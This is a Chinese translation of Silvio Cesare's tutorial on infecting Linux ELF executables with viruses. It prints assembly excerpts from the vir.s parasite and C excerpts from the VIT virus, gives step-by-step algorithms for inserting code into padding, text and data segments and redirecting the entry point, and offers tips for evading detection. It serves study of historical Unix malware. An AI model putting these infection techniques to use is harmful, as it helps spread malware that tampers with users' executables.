感染ELF文件(2)

作者:Silvio Cesare < mailto: silvio@big.net.au >
整理:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-08-13

★ 二进制感染

二进制感染指病毒体插入宿主映像中,而前面介绍的技术中,病毒体是独立可执行的。
二进制感染技术的重要性在于:

    . 没有额外的文件或进程
    . 病毒体是宿主进程映像的一部分

考虑驻留型病毒,需要截获、替换宿主使用到的某些函数。过程链接表PLT是驻留型
病毒的主要目标,在这里可以截获动态链接库中的函数调用。

单一进程映像使得病毒检测更加困难。而以前那些技术需要额外的进程或者临时文件,
很容易引起注意。

面临的第一个问题就是决定使用哪块地址空间。可执行文件代码使用绝对地址,比如
(mov %eax, 0x8049598),无法在内存中移动这些段。注意,这里我们用到术语--段(
segment),和MS-DOS下的段不是一个概念,这里指具有同样属性的一片内存区域。

现在我们有两种选择以让病毒体成为宿主映像的一部分:

    . 使用宿主所在内存映像
    . 使用宿主映像周边地址空间

第一种方式,病毒体将覆盖原宿主部分进程映像,我们可以复制保存该部分数据,交
还控制权之前恢复之。病毒体可以是位置无关代码,也可以是固定地址的。这种技术
比之后面介绍的技术易于实现得多。注意,这种方式很可能存在strip后静态文件大
小缩减的问题。

第二种方式,病毒体使用位置无关代码,如果宿主地址空间从0x08048000到
0x08049000,病毒体就使用0x08048000之前或者0x08049000之后的地址。病毒体必须
是位置无关的,因为它无法知道最后所用地址,直到成功感染了宿主之后。这种技术
的主要好处在于病毒体可以驻留内存,而第一种方式病毒体只能执行一次,然后就将
控制权交还给宿主了,自身为原宿主所替换。

Staog virus (QuantumG 1996) 和 vir.s parasite (Stealth 1999) 都采用了第一
种方式,覆盖了宿主映像,之后恢复宿主映像,交还控制权。它们存在strip问题。

此外,文本段必须修改成可写的,否则无法恢复宿主映像。Staog病毒调用了Linux的
mprotect()系统调用修改文本段成可写的。而vir.s parasite修改了ELF静态文件,
.text节的sh_flags成员被设置成可写,代码段加载时就已经是可写的。

{
2001-07-28 18:46 scz
这里有点问题,应该是修改代码段program header中的标记,而不是.text节的标记
需要验证,参看后续讨论
}

下述伪代码无法工作

virus:

    /* virus main */
    for ( q = saved_host, p = virus; p < end_of_virus; p++, q++ )
    {
        *p = *q;
    }

end_of_virus:

这个例子中,正在运行的代码覆盖了自身。解决办法是将代码移到堆栈中或者其他地
方,然后执行之。vir.s parasite使用了这种手法

VIR.S

.
.
.

# seek to e_phoff

    movl $LSEEK, %eax
    movl -1972(%ebp), %ecx
    movl $SEEK_SET, %edx
    int $0x80

    movw -1956(%ebp), %ecx          # get e_phnum (2 bytes)
l1:
    pushl %ecx
    movl $READ, %eax                # read in program header
    leal -2000(%ebp), %ecx
    movl $PHDR32_LEN, %edx
    int $0x80

    movl $LSEEK, %eax               # seek back these bytes
    xorl %ecx, %ecx
    subl $PHDR32_LEN, %ecx
    movl $SEEK_CUR, %edx
    int $0x80

    movb $7, -1976(%ebp)            # set flags to PT_READ|PT_EXEC|PT_WRITE
                                    # Huh? Elf32 requires a word (4 bytes)
here
                                    # but for what ? 7 is the greatest
value...

    movl $WRITE, %eax               # write back program header
    leal -2000(%ebp), %ecx
    movl $PHDR32_LEN, %edx
    int $0x80

    popl %ecx
    loop l1

# seek to (TEXTADDR - e_entry) in file

    movl $LSEEK, %eax
    popl %ecx                       # get back e_entry
    subl $TEXTADDR, %ecx
    pushl %ecx                      # save virii-pos, we need it later
    movl $SEEK_SET, %edx
    int $0x80

# read and save bytes that we will overwrite onto stack

    movl $READ, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

# and write back to end of file (first seek there)

    movl $LSEEK, %eax
    xorl %ecx, %ecx
    movl $SEEK_END, %edx
    int $0x80

    movl $WRITE, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

# seek back to virii-position

    movl $LSEEK, %eax
    popl %ecx                       # get back saved position
    movl $SEEK_SET, %edx
    int $0x80

# write virus code to file

    movl $WRITE, %eax
    movl %edi, %ecx
    movl $(END-main), %edx
    int $0x80

# close file

close_file:

    movl $CLOSE, %eax
    int $0x80

# move end of virus to stack and jump there

leave_virus:
    call lvl1
lvl1:
    popl %ebx
    subl $5, %ebx

    pushl %edi
    pushl %esi

    movl $(END-before_end), %ecx    # number of bytes
    movl %ebx, %esi                 # from where ?
    addl $(before_end-leave_virus), %esi

    leal -1000(%ebp), %edi          # to where ?
    cld
    rep
    movsb

    popl %esi
    popl %edi

# OK, moved -- jump there

    leal -1000(%ebp), %eax
    pushl %eax
    ret

# construct "/proc//exe"

before_end:

.
.
.

# move original bytes from victim to memory so seek to end this position

    movl $LSEEK, %eax
    xorl %ecx, %ecx
    subl $(END-main), %ecx
    movl $SEEK_END, %edx
    int $0x80

# read in # bytes

    movl $READ, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

#
    movl $CLOSE, %eax
    int $0x80

# move original bytes to memory


    leal -2000(%ebp), %esi
    movl $(END-main), %ecx
    rep
    movsb

# restore registers/flags

    movl %ebp, %esp
    popl %ebp
    popa
    popf
    ret

这种技术不是最理想的,原因在前面介绍过了,无法驻留内存。

VIT和Siilov病毒使用了位置无关代码,将病毒体放在宿主映像周边,可以驻留内存。
现在有三种选择,病毒体位于代码段前、数据段后、代码段和数据段中间的填充区。
数据段通常是不可执行的,然而某些操作系统和架构(比如Linux x86)上的数据段拥
有读写权限,潜在允许可执行。Siilov 和 mandragore 病毒就是在数据段中执行代
码的。

编写病毒体的时候应该避免使用动态库函数。对于ELF可执行文件来说,所有动态链
接函数在链接前都该是可知的,链接器将为之创建符号表、哈希表等等,以指明诸如
需要加载哪个动态链接库这类信息。可以使用已在使用中的动态符号而不必大动可执
行文件。然而,这意味着我们只能使用已在使用中函数调用。追加新的动态符号不是
不可能,但需要大动可执行文件,得不偿失。迄今为止,没见过哪个病毒追加新的动
态符号。

在现实中,为了获取位置无关代码PIC(Position Independent Code),可以用gcc
-fPIC进行编译。很多时候指定-fPIC是不足以达到目的的,此时需要程序员手工干预
(汇编语言)。

下例演示了位置无关代码

I386 Linux Position Independent Code (PIC)

/* gcc -Wall -g -ggdb -fPIC -o pictest pictest.c */
#include <stdio.h>
#include <unistd.h>

static char * hello ( void )
{
    asm
    ("
        call reloc             # 这种技术在MS-DOS实模式汇编中非常常见
    reloc:
        popl %eax
        addl $(data - reloc), %eax

        jmp leave

    data:
        .asciz /"Hello//n/"    # 这里不能用.ascii,原作者有误

    leave:
        movl %eax, %ebx        # added by scz 2001-07-25 18:01
        # leave
        # ret
    ");
}

int main ( int argc, char * argv[] )
{
    write( STDOUT_FILENO, hello(), sizeof( "Hello/n" ) );
    return( 0 );
}

(gdb) disas hello
Dump of assembler code for function hello:
0x80483d0 <hello>:      push   %ebp
0x80483d1 <hello+1>:    mov    %esp,%ebp
0x80483d3 <hello+3>:    call   0x80483d8 <reloc>
0x80483d8 <reloc>:      pop    %eax
0x80483d9 <reloc+1>:    add    $0x8,%eax
0x80483de <reloc+6>:    jmp    0x80483e7 <leave>
0x80483e0 <data>:       dec    %eax
0x80483e1 <data+1>:     insb   (%dx),%es:(%edi)
0x80483e3 <data+3>:     insb   (%dx),%es:(%edi)
0x80483e4 <data+4>:     outsl  %ds:(%esi),(%dx)
0x80483e5 <data+5>:     or     (%eax),%al
0x80483e7 <leave>:      mov    %eax,%ebx
0x80483e9 <leave+2>:    leave
0x80483ea <leave+3>:    ret
End of assembler dump.
(gdb) x/s data
0x80483e0 <data>:        "Hello/n"
(gdb)

call指令导致eip被压栈,接下来的pop指令导致eip被弹栈,实际意味着call指令后
面的这个地址被放入eax寄存器,这是病毒的常用技术。Staog 和 mandragore 病毒
都是使用这种技术获取病毒运行时地址。必须注意,某些时候不只需要修改目标代码,
可能还需要修改其他节,比如PLT/GOT。

★ 换个角度看前面介绍的传染技术

前面介绍的传染技术中,病毒或者寄生虫总是占用了不少映像空间,传染后的文件大
小无法保持原大小,除非是覆盖式感染。

★ 利用节对齐的填充区进行传染

我们注意到,一个ELF二进制静态文件中某些节首部在做对齐处理,因此有可能扩展
相关节(比如前一个节)包含填充区。通常.rodata和.bss节首部对齐在32字节边界上。
.bss节无法利用,因为它不实际占用ELF二进制静态文件映像空间,.bss对应的数据
都是零,可以在加载时动态创建。.rodata节占用文件空间。.fini节位于.rodata节
之前,观察.fini节大小和文件偏移,会发现.rodata节首部大于.fini节尾部,这个
空挡是对齐后的填充区,可以为病毒体所用。通常这个对齐填充很小,平均16字节长。
虽然太小,但还是可以放下一些小函数,比如时间炸弹。

[scz@ /home/scz/src]> objdump -h /bin/ls

/bin/ls:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
13 .fini         0000001a  080508bc  080508bc  000088bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata       00002bf4  080508e0  080508e0  000088e0  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
[scz@ /home/scz/src]>

000088bc + 0000001a = 000088d6 < 000088e0

注意,objdump显示的最后一列指明了如何对齐,但并不是所有.rodata节首部都对齐
在32字节边界上。我们前面举的例子pictest,其.rodata节首部对齐在4字节边界上。

[scz@ /home/scz/src]> gcc -Wall -g -ggdb -fPIC -o pictest pictest.c
pictest.c: In function `hello':
pictest.c:24: warning: control reaches end of non-void function
[scz@ /home/scz/src]> strip pictest
[scz@ /home/scz/src]> objdump -h pictest

pictest:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
12 .fini         0000001a  0804844c  0804844c  0000044c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata       00000008  08048468  08048468  00000468  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
[scz@ /home/scz/src]>

★ 利用函数对齐的填充区进行传染

在许多架构中,函数首部也做对齐处理,尤其当gcc使用-O2及其以上优化开关的时候。
所以函数首部前面有部分填充区可利用。

还可以考虑压缩/解压技术。压缩宿主映像,多出来的空间植入病毒体或寄生虫。如
果还是小于原宿主大小,应该填充额外的空间以维持原大小。这种技术有个诀窍,确
保代码段和数据段至少和原宿主中的大小一致,因为解压后宿主必须位于它原有加载
地址上,注意,此时的宿主非可重定位或位置无关的了。

★ 利用填充区植入病毒

我们将在代码段尾部填充区或者代码段与数据段之间的填充区植入病毒体。乍看之下,
这两个区域是同一个,事实并非如此。a.out格式中,数据段从新的一页开始。ELF格
式中,数据段并不总是从新的一页开始,代码段也未必在页边界上结束。

让我们看看这个真实的ELF二进制文件

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000b7cf memsz 0x0000b7cf flags r-x
    LOAD off    0x0000b7d0 vaddr 0x080547d0 paddr 0x080547d0 align 2**12
         filesz 0x00000250 memsz 0x000004dc flags rw-

在这个例子中,代码段到0x080537cf结束,数据段从0x080547d0开始。

填充区平均大小是半页,x86上一页是4096字节。VIT virus (Cesare 1998)演示了这
种技术。

对于a.out格式,我们只需简单地覆盖填充区并更新a.out头部信息。

    . 找出代码段和数据段之间填充区的起始偏移
    . 在填充区内以覆盖方式植入病毒
    . 更新a.out头部的a_text字段,增加病毒体的大小

对于ZMAGIC a.out格式,a_text给出了代码段填充区的文件偏移。

对于ELF格式处理类似。但有点区别,不再是覆盖填充区植入病毒,而是插入病毒体。
如果病毒体尺寸不是页大小(x86上是4KB)的整数倍,必须辅以填充使得插入部分是页
大小的整数倍。原因参看后面的讨论。(kick,这个Silvio Cesare的英文水平实在不
敢恭维)

    内存低址

           原始映像             修改后的映像

        [TTTTTTTTTTTTTTT]    [TTTTTTTTTTTTTTT]
        [TTTTTTTTPPPPPPP]    [TTTTTTTTVVVVVVV]
        [PPPPPPPPPPPPPPP]    [VVVVVVVVVVPPPPP]

        [PPPPDDDDDDDDDDD]    [PPPPPDDDDDDDDDD]
        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDBBBBBBBB]    [DDDDDDDDBBBBBBB]

        [BBBBBBBPPPPPPPP]    [BBBBBBBBPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

    内存高址

    关键字:

        T   代码段  (ro)
        D   数据段  (rw)
        B   BSS     (rw)
        V   病毒体  (ro)
        P   填充区

        三行[]代表一页内存

    * 为了简洁起见,这里没有标注栈区(stack)

在代码段尾部插入(不是覆盖)病毒体,后移静态文件插入点之后的部分。这改变了二
进制文件布局,必须修改ELF头部及相关辅助信息。

首先修改可加载段尺寸,使之包含病毒体部分。修改program header的p_filesz和
p_memsz成员。

任何出现在插入点之后的program header 和 section header 应该做相应修改以反
映新的位置。具体来说,分别修改p_offset和sh_offset成员。

为了在代码段尾部插入代码,需要按如下步骤做:

    . 修正ELF头部中的e_shoff成员(e_phoff位于插入点之前)
    . 定位代码段的program header
        . 修正其中的p_filesz成员
        . 修正其中的p_memsz成员
    . 循环处理位于插入点之后各段相应的program header
        . 修正其中的p_offset成员以反映新的位置
    . 循环处理位于插入点之后各节相应的section header
        . 修正其中的sh_offset成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)

修正ELF头部中e_shoff成员的原因在于section header table位于插入点之后,一般
来说,可执行文件中的section header table位于各段之后。

ELF规范中有如下要求

关键字:~= 表示同余

    p_vaddr ( mod PAGE_SIZE ) ~= p_offset ( mod PAGE_SIZE )

因此,最简单的方式是以页为单位插入,病毒体不足页的时候辅以填充。

为了适应这个ELF规范中的要求,插入病毒体的步骤修改如下:

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 定位代码段的program header
        . 修正p_filesz成员
        . 修正p_memsz成员
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

现在宿主进程映像将真正包含病毒体,为了在宿主代码之前运行病毒体,需要修改
ELF文件入口点(entry point),然后从病毒体跳转回宿主代码。

新的入口点由代码段 p_vaddr + p_filesz () 确定。

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 针对插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header
        . 修正ELF头部中的入口点,指向病毒体(p_vaddr + original p_filesz)
        . 修正p_filesz成员,增加病毒体大小(注意,这里不是增加页大小)
        . 修正p_memsz成员,增加病毒体大小(注意,这里不是增加页大小)
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

做了如上修改后,功能上已经完备,但是容易引起怀疑,因为代码段尾部的病毒体不
属于任何节。代码段最后一节看上去可疑。而且类似strip这样的应用程序,不使用
program header table,而只使用section header table,所以上述步骤还需要修改

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 针对插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header
        . 修正ELF头部中的入口点,指向病毒体(p_vaddr + original p_filesz)
        . 修正p_filesz成员,增加病毒体大小(注意,这里不是增加页大小)
        . 修正p_memsz成员,增加病毒体大小(注意,这里不是增加页大小)
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 处理代码段最后一节的section header,修正其sh_size成员增加病毒体大小
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

注意前面介绍的,我们修正代码段program header的p_memsz成员,增加的大小不是
页尺寸,而是病毒体大小。增加页大小可能更好些。奇怪的是,strip这样的程序并
未处理在section header中无反映的填充数据(代码段中的),可能担心违背ELF规范
的要求

    p_vaddr ( mod PAGE_SIZE ) ~= p_offset ( mod PAGE_SIZE )

一个问题在于,植入病毒体后的程序入口点位于代码段尾部,而.init节并不是代码
段的最后一节,一般都是.fini节。病毒检测程序很容易利用这点(程序入口点不在
.init节)检测出病毒。病毒体所使用的数据要么在堆区动态分配,要么利用系统调用
使得代码段可写。

    译注:Silvio Cesare原文认为修改后的程序入口点典型地落入.rodata节,该节
          是数据段一个特殊节,用于存放只读数据。所以入口点位于该节时高度可
          疑,易于检测到。我对此表示怀疑。.rodata节位于插入点之后,应该是
          被物理移动并修正过sh_offset成员的。新入口点怎么可能落入.rodata节?
          应该是在代码段的最后节.fini中。可能这里我理解有误,回头来确认之。

下面来看现实中的VIT virus (Cesare 1998)

    /*
     * update the phdr's to reflect the extention of the text segment (to
     * allow virus insertion)
     */
    offset = 0;

    for ( phdr = ( Elf32_Phdr * )pdata, i = 0; i < ehdr.e_phnum; i++ )
    {
        if ( offset )
        {
            phdr->p_offset += PAGE_SIZE;
        }
        else if ( phdr->p_type == PT_LOAD && phdr->p_offset == 0 )
        {
            /* 是代码段?并非说此时p_offset必须是0,但通常是的 */
            int palen;

            if ( phdr->p_filesz != phdr->p_memsz )
            {
                goto error;
            }

            /* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */
            evaddr = phdr->p_vaddr + phdr->p_filesz;
            /* 原代码段尾部填充大小 */
            palen  = PAGE_SIZE - ( evaddr & ( PAGE_SIZE - 1 ) );

            if ( palen < vlen )
            {
                goto error;
            }

            ehdr.e_entry    = evaddr + ventry;
            /* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/
            offset          = phdr->p_offset + phdr->p_filesz;
            phdr->p_filesz += vlen;
            phdr->p_memsz  += vlen;
        }
        phdr++;
    }

    if ( offset == 0 )
    {
        goto error;
    }

    .
    .
    .

    /* update the shdr's to reflect the insertion of the parasite */
    for ( shdr = ( Elf32_Shdr * )sdata, i = 0; i < ehdr.e_shnum; i++ )
    {
        /* 位于插入点后的各节 */
        if ( shdr->sh_offset >= offset )
        {
            shdr->sh_offset += PAGE_SIZE;
        }
        /* 是代码段最后一节?*/
        else if ( shdr->sh_addr + shdr->sh_size == evaddr )
        {
            /* if its not strip safe then we cant use it */
            if ( shdr->sh_type != SHT_PROGBITS )
            {
                goto error;
            }
            shdr->sh_size += vlen;
        }
        shdr++;
    }
    /* update ehdr to reflect new offsets */
    oshoff = ehdr.e_shoff;
    if ( ehdr.e_shoff >= offset )
    {
        ehdr.e_shoff += PAGE_SIZE;
    }

★ 代码段传染技术

可以考虑在代码段前部植入病毒体,这样修改后的程序入口点依旧在代码段,而不是
数据段(译注:这里存在类似前面提到的疑问)。即使内核不允许数据段可执行也不影
响什么。内核有可能提供系统调用改变内存区域的属性,此时可在代码段放置小段代
码,完成对数据段可执行的设置,大段代码可以存放在数据段中。

对于a.out格式,我们无法利用代码段传染技术,因为它没有类似ELF格式的p_offset、
p_vaddr成员,一旦在代码段前部插入病毒体,原代码段中的绝对地址引用就出问题
了。

    内存低址

        原始映像             传染后的映像

                             [VVVVVVVVVVVVVVV]
                             [VVVVVVVVVVVVVVV]
                             [VVVVVPPPPPPPPPP]

        [TTTTTTTTTTTTTTT]    [TTTTTTTTTTTTTTT]
        [TTTTTTTTPPPPPPP]    [TTTTTTTTPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDBBBBBBBB]    [DDDDDDDDBBBBBBB]

        [BBBBBBBPPPPPPPP]    [BBBBBBBBPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

    内存高址

    关键字:

        T   代码段  (ro)
        D   数据段  (rw)
        B   BSS     (rw)
        V   病毒体  (ro)
        P   填充区

        三行[]代表内存的一页

    * 简洁起见,栈区未在图中标明

代码段传染技术简单地在可执行映像前面插入病毒体。注意,ELF头必须被拷贝到新
二进制文件的首部,ELF头总是先出现在二进制文件中的。program header并非必须
紧跟ELF头,只不过通常紧随ELF头比较好些。下面介绍的步骤中,未描述对section
header table的修改,真正实现的时候必须考虑。

    . 针对即将插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header,考虑前插代码,修正p_vaddr和p_paddr成员
    . For each phdr before the insertion (坦白地说,这里在干什么,没明白)
      decrease p_offset to reflect the new position after insertion
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 修正 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 修正 sh_offset 成员
    . 将ELF头和program header table移动到新二进制文件的起始位置
    . 在静态文件中物理插入病毒体

类似前面介绍的填充区传染技术,到此为止没有一个section header反映病毒体的大
小,要么创建一个新节,要么扩展一个已存在节。创建新节很可疑,因为Unix下就那
么一些常见节,统一由编译器、链接器产生的。

观察一个典型二进制文件的section header table

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  080480d4  080480d4  000000d4  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .hash         000000c4  080480e8  080480e8  000000e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .dynsym       000001e0  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynstr       000000fd  0804838c  0804838c  0000038c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .rel.got      00000008  0804848c  0804848c  0000048c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .rel.bss      00000008  08048494  08048494  00000494  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .rel.plt      00000080  0804849c  0804849c  0000049c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .init         0000002c  08048520  08048520  00000520  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  8 .plt          00000110  0804854c  0804854c  0000054c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  9 .text         00000688  08048660  08048660  00000660  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .fini         0000001c  08048cf0  08048cf0  00000cf0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .rodata       00000091  08048d0c  08048d0c  00000d0c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
12 .data         00000004  08049da0  08049da0  00000da0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
13 .ctors        00000008  08049da4  08049da4  00000da4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
14 .dtors        00000008  08049dac  08049dac  00000dac  2**2
                  CONTENTS, ALLOC, LOAD, DATA
15 .got          00000050  08049db4  08049db4  00000db4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
16 .dynamic      00000088  08049e04  08049e04  00000e04  2**2
                  CONTENTS, ALLOC, LOAD, DATA
17 .bss          00000008  08049e8c  08049e8c  00000e8c  2**2
                  ALLOC
18 .comment      00000064  00000000  00000000  00000e8c  2**0
                  CONTENTS, READONLY
19 .note         00000064  00000064  00000064  00000ef0  2**0
                  CONTENTS, READONLY

象所有使用标准C库的程序一样,这个可执行程序的的入口点(entry point)位于
.init节。

    译注:下面这段文字实在无法理解,不知道这个破人到底在干什么。

A possible solution to the section problem is to simply move all sections
before the init section into the start of the new file. Then make the init
section cover everything up until the end of the original init. This
however, moves sections located by absoulte addresses in the text segment.
However, these are special sections used by the dynamic linker at runtime.
The dynamic information pointed at by both sections and program headers
must be modified to reflect the new position of these sections. Likewise,
the .init section can also be moved since it too is referenced by the
dynamic information. This section in general does not use absolute
references and does not reference any static data.

ELF TEXT INFECTION ALGORITHM

    * Patch the insertion code (parasite) to jump to the entry point
      (remember .init has moved) at parasite completion.
    * Locate the text segment
      Patch the segment to account for the prepended text (ie change
      p_vaddr and p_paddr)
    * For each phdr before the insertion
        * decrease p_offset to reflect the new position after insertion
    * 循环处理位于插入点(代码段)之后各段相应的program header
        * 修正 p_offset 成员
    * Patch the .text section to account for the new code
    * Locate the .dynamic section or segment
        * Locate and patch each entry used by the sections that have
          been relocated in the text segment
    * Physically insert the new code into the file

类似填充区传染技术,新增加部分以页尺寸为单位。

★ 数据段传染技术

mandragore virus 简单地将病毒体附加在二进制文件后面,然后修改了数据段的
program header,使之扩展到新的文件尾。注意,一个二进制文件的最后节通常都不
对应数据段的尾部,典型地是诸如.note、.comment 和 .shstrtab 节。而且section
header table 通常出现在数据段尾部。该技术可行,但这样一个二进制文件相当可
疑,覆盖了太多节,而且存在strip问题。

下面是一个被mandragore virus传染过的二进制文件

$ objdump --all-headers a.out

a.out:     file format elf32-i386
a.out
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0804ca30

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x000000c0 memsz 0x000000c0 flags r-x
  INTERP off    0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000313e memsz 0x0000313e flags r-x
    LOAD off    0x00003140 vaddr 0x0804c140 paddr 0x0804c140 align 2**12
         filesz 0x00000b8a memsz 0x000104bc flags rw-
DYNAMIC off    0x000032dc vaddr 0x0804c2dc paddr 0x0804c2dc align 2**2
         filesz 0x000000a0 memsz 0x000000a0 flags rw-
    NOTE off    0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
         filesz 0x00000020 memsz 0x00000020 flags r--

.
.
.

Sections:
Idx Name          Size      VMA       LMA       File off  Algn

.
.
.

                  CONTENTS, ALLOC, LOAD, DATA
21 .bss          0001027c  0804c380  0804c380  00003380  2**5
                  ALLOC
22 .comment      0000014a  00000000  00000000  00003380  2**0
                  CONTENTS, READONLY
23 .note         00000078  0000014a  0000014a  000034ca  2**0
                  CONTENTS, READONLY

检查program header和section header,数据段并未在.bss节结束,覆盖了.comment
和.note节。.bss节太大了。.bss节和数据段不匹配。程序入口点不在代码段中。

mandragore 病毒未做的修改太多,需要改进。
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值